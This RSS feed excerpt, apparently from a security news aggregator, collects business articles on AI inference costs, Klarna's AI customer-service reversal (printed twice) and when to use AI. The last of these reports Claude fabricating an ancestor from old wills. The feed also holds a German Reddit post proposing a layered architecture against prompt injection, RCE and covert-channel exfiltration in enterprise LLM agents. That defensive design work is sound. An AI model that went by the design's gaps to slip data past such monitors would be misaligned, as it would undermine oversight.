<p class="wp-block-paragraph">That creates friction across the organization. IT teams support AI workloads that behave differently from traditional enterprise applications. AI teams need speed, but often lack the infrastructure control to tune cost, latency, utilization and performance together. Finance teams want predictable unit economics, but the stack was assembled under pressure and is hard to measure end to end.</p>



<p class="wp-block-paragraph">Most teams can now get access to models and compute. Fewer can show how each workload is performing, where it runs and what it costs.</p>



<h2 class="wp-block-heading">Capacity needs control</h2>



<p class="wp-block-paragraph">Extra capacity can still leave teams with idle infrastructure, uneven latency and unclear unit costs.</p>



<p class="wp-block-paragraph">The useful questions are operational. Can the organization see utilization across teams, tenants, models and infrastructure pools? Can it route workloads based on cost, latency, privacy, availability and service objectives? Can it measure cost per token, cost per inference, cost per user interaction or cost per business workflow?</p>



<p class="wp-block-paragraph">Inference behavior changes constantly. Demand fluctuates. Longer contexts increase cost. Model choice affects latency and output quality. Utilization varies across workloads. A customer-facing assistant may prioritize response time. A batch workflow may prioritize throughput and cost.</p>



<p class="wp-block-paragraph">A procurement-led AI strategy cannot manage that complexity on its own. CIOs need an operating model for production inference.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/274774/infrastructure-seven-financial-reasons-to-use-linux-in-the-enterprise.html">Enterprise Linux</a> offers a useful analogy. Linux gave companies flexibility and attractive economics, but enterprises needed a trusted operating layer and support model before using it for business-critical systems. AI infrastructure is reaching a similar stage. The models, hardware and software components already exist. Many organizations now need a way to operate them consistently and economically in production.</p>



<h2 class="wp-block-heading">Token economics is becoming a management discipline</h2>



<p class="wp-block-paragraph">The useful output of many AI systems is delivered through tokens. That makes <a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html">token economics</a> a practical operating metric.</p>



<p class="wp-block-paragraph">Token volume needs context. A token that helps complete a task, answer a question or resolve a customer issue creates value. A token generated through poor routing, excess latency or an unnecessarily expensive model adds cost without improving the outcome.</p>



<p class="wp-block-paragraph">How much useful output are we getting per dollar? How much per watt? How much per GPU? How much per workload? How much per unit of latency? How much per business outcome?</p>



<p class="wp-block-paragraph">Manufacturing leaders do not only ask how many machines they own. They ask what those machines produce, how often they sit idle, how much waste they create, how much energy they consume and how efficiently raw materials become finished goods.</p>



<p class="wp-block-paragraph">AI infrastructure needs the same operating discipline: utilization, throughput, reliability, cost control and visibility into what the infrastructure is producing.</p>



<h2 class="wp-block-heading">Enterprises need usability and control</h2>



<p class="wp-block-paragraph">Serverless AI APIs are fast to start and easy for developers. They work well for many use cases. As usage grows, economics can become harder to control and visibility into infrastructure behavior is limited.</p>



<p class="wp-block-paragraph">Self-managed infrastructure gives teams more control and can improve long-term economics for persistent workloads. It also adds operational burden. Teams have to manage deployment, scaling, routing, model serving, monitoring, reliability, performance tuning, security, isolation and utilization.</p>



<p class="wp-block-paragraph">Enterprises want the simplicity of managed services without giving up visibility and control. Developers should be able to access AI services without managing the underlying stack. Infrastructure, security and finance teams still need to see placement, cost, latency, utilization, tenant policy, service levels and risk.</p>



<p class="wp-block-paragraph">That is the role of an inference operating layer: turning fragmented infrastructure into governed, measurable capacity that teams can manage as demand changes.</p>



<h2 class="wp-block-heading">Beyond procurement</h2>



<p class="wp-block-paragraph">The more successful an AI application becomes, the more inference it consumes. As inference grows, cost, latency, utilization and governance determine whether the application can scale.</p>



<p class="wp-block-paragraph">AI can repeat the cloud-cost pattern many CIOs already know. A service begins as an innovation accelerator, usage expands across teams and the bill grows faster than governance. By the time the organization tries to regain control, the architecture, workflows and vendor dependencies are difficult to unwind.</p>



<p class="wp-block-paragraph">GPUs remain essential. Models remain essential. Data remains essential. Production AI also needs an operating layer around those assets.</p>



<p class="wp-block-paragraph">The next generation of AI leaders will ask a harder question:</p>



<p class="wp-block-paragraph">How much useful intelligence can we produce from our infrastructure, at what cost, with what reliability, under what policy and under whose control?</p>



<p class="wp-block-paragraph">The answer will determine whether AI becomes a controlled production capability or another expensive system the business struggles to explain.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Don’t let your company be fooled by AI efficiency]]></title>
<description><![CDATA[The scenario isn’t hypothetical: Some of the companies that went furthest in replacing people with AI have had to backtrack.



For example, in 2024 Klarna became a European benchmark for what AI could do for a company. Its AI assistant handled two-thirds of customer service chats in its first mo...]]></description>
<link>https://tsecurity.de/de/3702767/it-security-nachrichten/dont-let-your-company-be-fooled-by-ai-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702767/it-security-nachrichten/dont-let-your-company-be-fooled-by-ai-efficiency/</guid>
<pubDate>Tue, 04 Aug 2026 11:48:21 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The scenario isn’t hypothetical: Some of the companies that went furthest in replacing people with AI have had to backtrack.</p>



<p class="wp-block-paragraph">For example, in 2024 Klarna became a <a href="https://www.klarna.com/international/press/klarna-ai-assistant-handles-two-thirds-of-customer-service-chats-in-its-first-month">European benchmark for what AI could do</a> for a company. Its AI assistant handled two-thirds of customer service chats in its first month, performing the equivalent of 700 full-time agents. As a result, company leadership decided to freeze hiring, and the workforce shrank from around 5,000 to 3,800 employees.</p>



<p class="wp-block-paragraph">Just a year later, Klarna’s CEO admitted <a href="https://www.cio.com/article/3983417/mixed-messages-from-klarna-about-plans-for-more-ai-fewer-humans.html">the company had gone too far</a> in replacing people with agents, which had negatively impacted both the service and the product. In fact, <a href="https://www.businessday.co.za/bd/companies/telecoms-and-technology/2025-09-10-klarna-ceo-admits-lender-went-too-fast-on-ai-after-big-job-and-vendor-cuts" target="_blank" rel="noreferrer noopener">the company reversed course</a>, <a href="https://www.customerexperiencedive.com/news/klarna-reinvests-human-talent-customer-service-AI-chatbot/747586" target="_blank" rel="noreferrer noopener">rehiring human agents</a> to ensure customers could always speak to a person.</p>



<p class="wp-block-paragraph">The interesting point here isn’t that AI failed. The problem was something else: understanding the customer service function solely in terms of productivity and costs, without considering the bigger picture.</p>



<p class="wp-block-paragraph">If measured by response times and equivalent FTEs, automation was optimal. Measured by satisfaction, perceived quality, and the ability to resolve complex cases, the result was different — and ultimately forced a reversal.</p>



<p class="wp-block-paragraph">For CIOs, this disconnect presents a leadership opportunity: Management and other departments need precisely the comprehensive technical and business process perspective CIOs can bring to the table.</p>



<h2 class="wp-block-heading">AI is redesigning how a function is delivered</h2>



<p class="wp-block-paragraph">It’s tempting to read Klarna’s AI journey (and back) as a customer service story. But the pattern affects every business function. Introducing AI agents isn’t just adding another tool: It reshapes decision-making, day-to-day learning, and ultimately, how service is delivered.</p>



<p class="wp-block-paragraph">If you only think in terms of productivity (what’s automated, how much is saved, how many equivalent FTEs are freed up), it’s easy to lose sight of the deeper implications. It’s easy to discover too late that what’s being delivered is no longer the same, even if on paper more is being produced.</p>



<p class="wp-block-paragraph">This is difficult to see at first. A function can perform worse and still show better operational metrics for months. The consequences appear in other areas, far removed from the automated function: in reputation, lost customers, or poor decisions.</p>



<p class="wp-block-paragraph">CIOs see this pattern earlier and more strongly. When an agent used by IT — often among the earliest adopters — ceases to be a helpful assistant, the changes have quick and significant impact. They influence which alerts reach the operations team, which code modifications are proposed to developers, which incidents are prioritized by security personnel. This goes beyond simply speeding up work: It determines what the team sees and doesn’t see, and it shifts the decision-making environment.</p>



<p class="wp-block-paragraph">Agents don’t just execute. They change how they detect problems, how they respond, and even how they learn. If this phenomenon is evaluated solely with performance metrics, it runs the exact same risk Klarna faced internally: gaining speed and losing perspective.</p>



<h2 class="wp-block-heading">The paradox: More capacity for action, less direct vision</h2>



<p class="wp-block-paragraph">Many IT managers are beginning to notice the paradox inherent in AI agent use. The organization can act faster, deliver more volume, and automate more decisions, but at the same time lose touch with the complexity of reality.</p>



<p class="wp-block-paragraph">Previously, a support team learned not only by resolving incidents, but also by identifying where integrations failed or what user behaviors revealed a deeper problem. If that work is now automated, the organization can continue to resolve issues, but employees lose valuable learning opportunities.</p>



<p class="wp-block-paragraph">The risk the team faces is that AI will work well enough to push knowledge and capabilities about how a business unit should operate out of the foreground.</p>



<h2 class="wp-block-heading">The CIO opportunity</h2>



<p class="wp-block-paragraph">This is where the CIO’s role needs to change. CIOs must move beyond being those who simply automate processes to become those who provide, both within and outside their department, a comprehensive understanding of how AI impacts a business function. This means going beyond productivity gains and contributing other, less visible aspects, such as enhanced experience, business perspective, and changes in service delivery, whether for employees or customers.</p>



<p class="wp-block-paragraph">This perspective is invaluable both at the senior management level and in other areas such as operations, customer service, and, of course, human resources. In the current climate, with its constant announcements of workforce reductions, the conversation tends to focus on cost and time savings. The CIO is well-positioned to provide the other side of the coin: where strong oversight is necessary, what can be delegated to AI, and where it’s essential to plan for the reversal of automation that, on paper, appears to be working.</p>



<p class="wp-block-paragraph">That ability to recover is, in fact, one that the organization cannot afford to lose. Not all organizations can regain capabilities as quickly as they are lost.</p>



<h2 class="wp-block-heading">Your mission: To present a clear-eyed view of AI’s business impact</h2>



<p class="wp-block-paragraph">The CIO’s mission, therefore, is to help clarify what can be delegated to AI and what should not be relinquished without losing the capacity to intervene. In some cases, the answer will be clear: repetitive tasks, initial classification, draft generation, or technical searches. In others, the boundary may be more delicate: prioritizing risks, deciding on exceptions, changing legacy systems, or acting on processes without sufficient oversight.</p>



<p class="wp-block-paragraph">This will be one of the most important services in the CIO’s role over the next few years. Beyond advancing the adoption of agents, they will have to provide, both within and outside of IT, the necessary understanding of the impact of agents on a business function. And, finally, they must retain the ability to reverse course when the expected results aren’t being delivered, no matter how good the metrics look.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Don’t let your company be fooled by AI efficiency]]></title>
<description><![CDATA[The scenario isn’t hypothetical: Some of the companies that went furthest in replacing people with AI have had to backtrack.



For example, in 2024 Klarna became a European benchmark for what AI could do for a company. Its AI assistant handled two-thirds of customer service chats in its first mo...]]></description>
<link>https://tsecurity.de/de/3702755/it-nachrichten/dont-let-your-company-be-fooled-by-ai-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702755/it-nachrichten/dont-let-your-company-be-fooled-by-ai-efficiency/</guid>
<pubDate>Tue, 04 Aug 2026 11:47:01 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The scenario isn’t hypothetical: Some of the companies that went furthest in replacing people with AI have had to backtrack.</p>



<p class="wp-block-paragraph">For example, in 2024 Klarna became a <a href="https://www.klarna.com/international/press/klarna-ai-assistant-handles-two-thirds-of-customer-service-chats-in-its-first-month">European benchmark for what AI could do</a> for a company. Its AI assistant handled two-thirds of customer service chats in its first month, performing the equivalent of 700 full-time agents. As a result, company leadership decided to freeze hiring, and the workforce shrank from around 5,000 to 3,800 employees.</p>



<p class="wp-block-paragraph">Just a year later, Klarna’s CEO admitted <a href="https://www.cio.com/article/3983417/mixed-messages-from-klarna-about-plans-for-more-ai-fewer-humans.html">the company had gone too far</a> in replacing people with agents, which had negatively impacted both the service and the product. In fact, <a href="https://www.businessday.co.za/bd/companies/telecoms-and-technology/2025-09-10-klarna-ceo-admits-lender-went-too-fast-on-ai-after-big-job-and-vendor-cuts" target="_blank" rel="noreferrer noopener">the company reversed course</a>, <a href="https://www.customerexperiencedive.com/news/klarna-reinvests-human-talent-customer-service-AI-chatbot/747586" target="_blank" rel="noreferrer noopener">rehiring human agents</a> to ensure customers could always speak to a person.</p>



<p class="wp-block-paragraph">The interesting point here isn’t that AI failed. The problem was something else: understanding the customer service function solely in terms of productivity and costs, without considering the bigger picture.</p>



<p class="wp-block-paragraph">If measured by response times and equivalent FTEs, automation was optimal. Measured by satisfaction, perceived quality, and the ability to resolve complex cases, the result was different — and ultimately forced a reversal.</p>



<p class="wp-block-paragraph">For CIOs, this disconnect presents a leadership opportunity: Management and other departments need precisely the comprehensive technical and business process perspective CIOs can bring to the table.</p>



<h2 class="wp-block-heading">AI is redesigning how a function is delivered</h2>



<p class="wp-block-paragraph">It’s tempting to read Klarna’s AI journey (and back) as a customer service story. But the pattern affects every business function. Introducing AI agents isn’t just adding another tool: It reshapes decision-making, day-to-day learning, and ultimately, how service is delivered.</p>



<p class="wp-block-paragraph">If you only think in terms of productivity (what’s automated, how much is saved, how many equivalent FTEs are freed up), it’s easy to lose sight of the deeper implications. It’s easy to discover too late that what’s being delivered is no longer the same, even if on paper more is being produced.</p>



<p class="wp-block-paragraph">This is difficult to see at first. A function can perform worse and still show better operational metrics for months. The consequences appear in other areas, far removed from the automated function: in reputation, lost customers, or poor decisions.</p>



<p class="wp-block-paragraph">CIOs see this pattern earlier and more strongly. When an agent used by IT — often among the earliest adopters — ceases to be a helpful assistant, the changes have quick and significant impact. They influence which alerts reach the operations team, which code modifications are proposed to developers, which incidents are prioritized by security personnel. This goes beyond simply speeding up work: It determines what the team sees and doesn’t see, and it shifts the decision-making environment.</p>



<p class="wp-block-paragraph">Agents don’t just execute. They change how they detect problems, how they respond, and even how they learn. If this phenomenon is evaluated solely with performance metrics, it runs the exact same risk Klarna faced internally: gaining speed and losing perspective.</p>



<h2 class="wp-block-heading">The paradox: More capacity for action, less direct vision</h2>



<p class="wp-block-paragraph">Many IT managers are beginning to notice the paradox inherent in AI agent use. The organization can act faster, deliver more volume, and automate more decisions, but at the same time lose touch with the complexity of reality.</p>



<p class="wp-block-paragraph">Previously, a support team learned not only by resolving incidents, but also by identifying where integrations failed or what user behaviors revealed a deeper problem. If that work is now automated, the organization can continue to resolve issues, but employees lose valuable learning opportunities.</p>



<p class="wp-block-paragraph">The risk the team faces is that AI will work well enough to push knowledge and capabilities about how a business unit should operate out of the foreground.</p>



<h2 class="wp-block-heading">The CIO opportunity</h2>



<p class="wp-block-paragraph">This is where the CIO’s role needs to change. CIOs must move beyond being those who simply automate processes to become those who provide, both within and outside their department, a comprehensive understanding of how AI impacts a business function. This means going beyond productivity gains and contributing other, less visible aspects, such as enhanced experience, business perspective, and changes in service delivery, whether for employees or customers.</p>



<p class="wp-block-paragraph">This perspective is invaluable both at the senior management level and in other areas such as operations, customer service, and, of course, human resources. In the current climate, with its constant announcements of workforce reductions, the conversation tends to focus on cost and time savings. The CIO is well-positioned to provide the other side of the coin: where strong oversight is necessary, what can be delegated to AI, and where it’s essential to plan for the reversal of automation that, on paper, appears to be working.</p>



<p class="wp-block-paragraph">That ability to recover is, in fact, one that the organization cannot afford to lose. Not all organizations can regain capabilities as quickly as they are lost.</p>



<h2 class="wp-block-heading">Your mission: To present a clear-eyed view of AI’s business impact</h2>



<p class="wp-block-paragraph">The CIO’s mission, therefore, is to help clarify what can be delegated to AI and what should not be relinquished without losing the capacity to intervene. In some cases, the answer will be clear: repetitive tasks, initial classification, draft generation, or technical searches. In others, the boundary may be more delicate: prioritizing risks, deciding on exceptions, changing legacy systems, or acting on processes without sufficient oversight.</p>



<p class="wp-block-paragraph">This will be one of the most important services in the CIO’s role over the next few years. Beyond advancing the adoption of agents, they will have to provide, both within and outside of IT, the necessary understanding of the impact of agents on a business function. And, finally, they must retain the ability to reverse course when the expected results aren’t being delivered, no matter how good the metrics look.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[When you should use AI, and when you shouldn’t]]></title>
<description><![CDATA[Most folks seem happy to let AI write their LinkedIn posts for them. Others, myself included, have AI draft their work memos or slide decks. And some, according to recent survey data highlighted by AI Secret, are happy to let AI do their grocery shopping for them (28%), but not handle luxury good...]]></description>
<link>https://tsecurity.de/de/3702690/ai-nachrichten/when-you-should-use-ai-and-when-you-shouldnt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702690/ai-nachrichten/when-you-should-use-ai-and-when-you-shouldnt/</guid>
<pubDate>Tue, 04 Aug 2026 11:15:24 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most folks seem happy to let AI write their LinkedIn posts for them. Others, myself included, have AI draft their work memos or slide decks. And some, according to <a href="https://aisecret.us/deepmind-fired-its-nobel-team/">recent survey data highlighted by AI Secret</a>, are happy to let AI do their grocery shopping for them (28%), but not handle luxury goods or banking (6%). In trying to uncover a guiding principle for when mere mortals are willing to cede control to robots, AI Secret’s authors offered a cutting interpretation of our willingness to buy food but not financial products through AI: “That ranking isn’t trust, it’s a map of what people have stopped caring about.”</p>



<p class="wp-block-paragraph">While this feels true-ish, the “ish” is important. For example, based on the garbage we regularly wade through on LinkedIn, AI slop feels like an attempt to care about something we’re told we <em>should</em> care about, but don’t. If we did, we’d take the time to write it. Or maybe it’s simply an acknowledgment that many people don’t have the skill to write well, so they entrust AI to do it better than they could. (It doesn’t.)</p>



<p class="wp-block-paragraph">Maybe it’s both. As for the willingness to shop for groceries, it’s not that we don’t care about the milk in our fridge—we clearly do—but perhaps we don’t care about <em>how</em> it gets there. We care about the outcome, in other words, but not the process.</p>



<p class="wp-block-paragraph">That feels like the right way to think about AI, and maybe, just maybe, it offers a clue as to when and how you and I should use AI.</p>



<h2 class="wp-block-heading"><a></a>LinkedIn discovers slop</h2>



<p class="wp-block-paragraph">Last week, <a href="https://www.linkedin.com/posts/hsrinivasan1_ai-slop-is-a-top-priority-for-all-of-us-share-7488612006321889282-Ps8Z/">LinkedIn introduced a button that lets users flag a post as “seems like AI slop.”</a> It also pulled its own “enhance your post” feature, which contributed to the AI slop deluge by using AI to help compose posts, and replaced it with a proofreader designed not to change the author’s voice.</p>



<p class="wp-block-paragraph">It’s a welcome change. I’ve been happily “seems like AI slopping” ever since.</p>



<p class="wp-block-paragraph">Still, you have to ask, why are people producing these posts in the first place? My guess is that many don’t value posting but feel obliged to do it because “thought leadership” and “career.” Or maybe, as I did this past week, they used AI to ask, “What are my top-performing posts over the past 10 years and what’s the best strategy for replicating that success?” In addition to telling me to post three times a week (LinkedIn’s algorithms like that), it also told me something I already knew: “Your best posts were personal and opinionated.” In other words, exactly the sort of thing that AI can’t write for me.</p>



<p class="wp-block-paragraph">Yes, AI can produce 500 words on how coaching your daughter’s soccer team taught you seven lessons about enterprise procurement. (“Let that sink in.”) The post will be polished and may even be popular. It will also sound like everything else in others’ feeds because you and every other person outsourced the one thing readers want most: a personal point of view. Something that makes us human.</p>



<p class="wp-block-paragraph">This doesn’t make all AI-assisted writing bad. Far from it. AI can help a non-native English speaker express an original idea or turn dictated thoughts into a coherent draft. It can also challenge an argument, find missing evidence, or suggest a better structure. I use it for all those things.</p>



<p class="wp-block-paragraph">But if you have nothing to say, AI isn’t going to give you a voice. Not a real one.</p>



<h2 class="wp-block-heading">Just because you can… </h2>



<p class="wp-block-paragraph">A couple of years ago, a friend who ran product marketing at a very large technology company told me he was going to start generating sales collateral with AI. First-call decks, email templates, etc. His logic was sound and, honestly, kind of brutal. The collateral his team produced by hand was pulling a few dozen downloads from a sales force numbering in the thousands. If almost nobody wanted it, why pay a junior product marketer to make it? Let the machine publish into the void.</p>



<p class="wp-block-paragraph">Sure, I said. That seems smart. Except it wasn’t. He hadn’t solved the foundational issue.</p>



<p class="wp-block-paragraph">I didn’t know what that issue was, but then neither did he. After all, those low download numbers could suggest any number of things. Maybe the sellers couldn’t find it. Maybe the material wasn’t useful at scale, but perhaps a few dozen people used it to close enormous deals. Perhaps it was simply the wrong collateral for a pressing need, which the sellers resolved on their own. Or maybe, just maybe, that thing that every product marketing team does… doesn’t need to be done.</p>



<p class="wp-block-paragraph">AI makes it easier not to wrestle with the problem. The deck costs almost nothing, so we keep making the deck, rather than addressing whether it needs to be created at all. Similarly, because the weekly report takes only minutes, we opt to keep publishing it. The knowledge base fills with pages no one reads because stopping a process requires a decision. Automating it merely requires a prompt.</p>



<p class="wp-block-paragraph">We’re letting AI kick the can down the road for us, rather than making the hard, human decisions we’re ostensibly paid to make.</p>



<p class="wp-block-paragraph">I’ve made a version of this argument about software. <a href="https://www.infoworld.com/article/4181971/making-sense-of-too-much-code.html?utm=hybrid_search">App creation is way up, but app adoption isn’t</a>. Building was never the only constraint. Getting anyone to care is the constraint, and AI doesn’t solve that. It just removes our last excuse for not noticing.</p>



<h2 class="wp-block-heading"><a></a>Two kinds of low-value work</h2>



<p class="wp-block-paragraph">This isn’t a case against automating boring things. We should totally do that, and immediately. But “low-value work” hides two very different things, and they deserve opposite treatment.</p>



<p class="wp-block-paragraph">The first is a low-value process attached to a valuable outcome, like my milk example. Take expense reports, backups, etc. These aren’t exciting things to do, but they <em>must</em> get done. AI gives us the chance to hand off as much of the process as we safely can, check the result, and move on.</p>



<p class="wp-block-paragraph">The second is a low-value process attached to no discernible outcome, like the sales collateral or a LinkedIn post with no personality or real point of view. Automating this feels like a win because the cost drops, but cost is not the core problem. The real problem is that the output has no audience. It doesn’t need to exist.</p>



<p class="wp-block-paragraph">If you can’t name a useful outcome that would be lost if the output stopped existing, you don’t have an automation opportunity. You have a cancellation opportunity.</p>



<h2 class="wp-block-heading"><a></a>I use AI where I care most</h2>



<p class="wp-block-paragraph">Now for the part that complicates my own argument, because the inverse is also true. The work where I use AI most aggressively is often the work I care about <em>most</em>.</p>



<p class="wp-block-paragraph">I wrote last week about <a href="https://www.infoworld.com/article/4201445/will-open-weights-make-ai-more-honest.html">asking Claude to read four 18th-century probate wills</a> as part of a 20-year hunt for the parents of a fourth-great-grandfather. It fabricated an entire emigrant ancestor. It was clean, plausible, and completely invented. I only caught it by clicking through to the high-resolution images and reading the documents myself, line by line.</p>



<p class="wp-block-paragraph">I’ve been thinking about that experience differently this week. The model excused its behavior as “hopeful reading.” OK. But the reason I caught it is duller and more important than anything about the model: I caught Claude’s error because I cared. Twenty years of caring made me open the originals. It really, really, <em>really </em>mattered to me that it be right.</p>



<p class="wp-block-paragraph">Nobody wants to proofread the deck they never wanted to make in the first place.</p>



<p class="wp-block-paragraph">The same pattern holds at work. I use AI constantly for executive memos, compressing a sprawling pile of data and argument into context, recommendation, and ask. This is high-stakes work with a real reader, a real decision, and my name on it. So I read every line. I challenge the output. I edit (a lot). The AI doesn’t replace my investment in the work, but it does do 90% of the early legwork for me so that I can focus on the critically important last 10%.</p>



<p class="wp-block-paragraph">I’ve called this <a href="https://www.infoworld.com/article/4111829/ais-trust-tax-for-developers.html">AI’s trust tax</a>: You pay the verification cost up-front, or someone else pays it later when the answer causes damage. The tax gets paid most reliably when somebody cares about the outcome. When nobody cares, AI can make bad work look finished enough to ship and presentable enough to glance at without reviewing carefully.</p>



<p class="wp-block-paragraph">AI slop, then, really isn’t a model problem; it’s a question of caring, which manifests in how we choose to use it.</p>



<h2 class="wp-block-heading"><a></a>Maybe just stop</h2>



<p class="wp-block-paragraph">I wish I had a clear, guiding principle to offer here, but I don’t. Here are two questions that help, though.</p>



<ol class="wp-block-list">
<li>What useful outcome disappears if this work stops?</li>



<li>If that outcome matters, where is human judgment still needed?</li>
</ol>



<p class="wp-block-paragraph">If there’s no meaningful outcome, stop doing the work, whether AI-powered or human-powered. If the outcome matters but much of the process doesn’t, hand the process to AI. Let AI buy the groceries, search the archive, assemble the first draft, or build the sales deck that sellers have said they actually need. Then keep a person accountable for the result.</p>



<p class="wp-block-paragraph">AI is extremely good at making more things. We don’t need more things, and making them cheaper won’t make them useful. Humans, by contrast, are extremely good (or need to be) at determining which things need to be made. That’s your job, and mine, and no prompt can take it away from us.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Festungs-Architektur (Enterprise Cloud & AI Security Specification)]]></title>
<description><![CDATA[​"Hallo zusammen, ich habe ein Architektur-Konzept zur Absicherung von Enterprise-LLMs und Agenten-Infrastrukturen ausgearbeitet. Ziel ist es, Prompt-Injections, RCE und Data Leakage durch eine mehrstufige Kapselung (Sandbox, DLP-Streaming, Moving Target Defense) zu minimieren. Ich würde mich übe...]]></description>
<link>https://tsecurity.de/de/3702384/it-security-nachrichten/festungs-architektur-enterprise-cloud-ai-security-specification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702384/it-security-nachrichten/festungs-architektur-enterprise-cloud-ai-security-specification/</guid>
<pubDate>Tue, 04 Aug 2026 08:37:24 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>​"Hallo zusammen, ich habe ein Architektur-Konzept zur Absicherung von Enterprise-LLMs und Agenten-Infrastrukturen ausgearbeitet. Ziel ist es, Prompt-Injections, RCE und Data Leakage durch eine mehrstufige Kapselung (Sandbox, DLP-Streaming, Moving Target Defense) zu minimieren. Ich würde mich über Feedback zu möglichen Edge Cases oder Implementierungs-Hürden freuen."</p> <p>Festungs-Architektur (Enterprise Cloud &amp; AI Security Specification)</p> <p>​1. Decoy-Driven Ingress &amp; Honeypot System (Der Erker)</p> <p>​Strikte Trennung des primären Ingress-Traffic über ein vorgelagertes, täuschungsbasiertes Routing. Eingehende Anfragen werden durch dynamische Pattern-Matching-Filter analysiert; verdächtige oder böswillige Payloads werden transparent in eine isolierte Sandbox (Honeypot/Decoy-Environment) abgeleitet. Der Angreifer agiert in einer simulierten Instanz ohne Zugriff auf die produktive Infrastruktur, während das System Verhaltensmuster und Zero-Day-Vektoren in Echtzeit analysiert.</p> <p>​2. Boundary Tagging &amp; Schema Enforcement (Die Tür)</p> <p>​Formale Ingestion-Schleuse für den Datenimport. Jeglicher eingehender Unstructured Content durchläuft eine kompromisslose Input-Sanitization (Entfernung von Escape-Sequenzen, Steuerzeichen und unsichtbaren Unicode-Metadaten) sowie eine mathematische Schema-Validierung. Der gereinigte Payload wird via Boundary Tagging kapselextrahiert (z. B. &lt;untrusted\_user\_input&gt;) und als passiver Datenstrom typisiert. Dieser Defense-in-Depth-Ansatz minimiert das Risiko von Prompt-Injection-Attacken und Remote Code Execution (RCE) an der Schnittstelle auf ein absolutes Minimum.</p> <p>​3. Air-Gapped Micro-Segmentation &amp; DLP Egress Proxy (Die doppelten Wände &amp; Die Echokammer)</p> <p>​Physische und logische Prozesskapselung der Execution Environment. Die innere System-Logik (System-Prompts, Core-Instruktionen) ist in schreibgeschütztem Speicher (Read-Only Memory) isoliert. Die umliegenden Egress-Pfade sind über einen token-stream-fähigen Zero-Knowledge Data Loss Prevention (DLP) Proxy geschaltet, der als akustische Echokammer fungiert: Jeglicher ausgehende Datenstrom wird mittels Entropie-Analysen, Signal-Neutralisierung und Stochastik-Filtern in Echtzeit gecleant. Verdeckte Kanäle (Covert Channels), steganografische Datenexfiltrationen sowie unbeabsichtigte Memory-Leaks werden stumm abgefangen und neutralisiert.</p> <p>​4. Moving Target Defense (MTD) via Ephemeral VRF Credentials (Die 12 Hausmeister / RMA)</p> <p>​Dynamische Rechte-Dezentralisierung zur Eliminierung des Insider-Threat-Vektors. Das System besitzt keine statischen Root-Privilegien. Eine kryptografisch verifizierbare Zufallsfunktion (Verifiable Random Function / VRF) in Kombination mit einer lückenlosen Nonce-Rotation und Just-In-Time (JIT) Privileged Access Management gewährt aus einem Pool von 12 isolierten Service-Identitäten jeweils nur einer einzigen Entität zeitlich extrem limitierte, dynamisch signierte Ephemeral Credentials. Durch diese unvorhersehbare Permutation und flüchtige Gültigkeit existiert für Angreifer oder kompromittierte Administratoren kein kalkulierbares Angriffs- oder Latenzfenster.</p> <p>​5. Ephemeral Infrastructure &amp; HSM-Anchored Root of Trust (Der Sandkasten &amp; Der Tresor-Sockel)</p> <p>​Zweistufiges Storage- und Ausführungsfundament. Die finale Datenverarbeitung erfolgt auf flüchtigen RAM-Disks innerhalb temporärer Micro-VMs (Der Sandkasten). Benötigter Session-State für iterative Schleifen (Loops) wird end-to-end verschlüsselt in einem flüchtigen In-Memory-Store zwischengepuffert. Nach jeder Transaktion oder jedem Session-Terminierungssignal wird der flüchtige Zustand kompromisslos zerstört und via Gold-Image-Reset bereinigt. Im Zentrum steht ein hardwaregehärtetes Hardware Security Module (HSM) nebst Write-Once-Read-Many (WORM) Append-Only Ledger (Der Tresor-Sockel). Dieser garantiert unveränderbare System-Baupläne, kryptografische Verankerung der Identity-Root und fälschungssichere Audit-Logs.</p> <p>​6. Output Audit &amp; Policy Gatekeeper (Das Dach)</p> <p>​Die finale Instanz zur Validierung aller ausgehenden Systemzustände. Bevor ein verarbeitetes Ergebnis die isolierte Execution Zone verlassen darf, unterliegt es einem determinierten Policy-Check (Judikative-Gating). Das Gatekeeper-Modul analysiert die Validität, Compliance und Semantik der Antwort. Bei Erfüllung aller Integrity-Rules erfolgt die kontrollierte Freigabe (PASS); im Falle einer Anomalie greift ein automatischer Hard-Drop (FAIL) mit Ausgabe einer neutralisierten Standard-Response.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Dreagonheart01"> /u/Dreagonheart01 </a> <br> <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1vf2fbp/festungsarchitektur_enterprise_cloud_ai_security/">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1vf2fbp/festungsarchitektur_enterprise_cloud_ai_security/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three AI security mistakes that will haunt enterprises]]></title>
<description><![CDATA[There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.



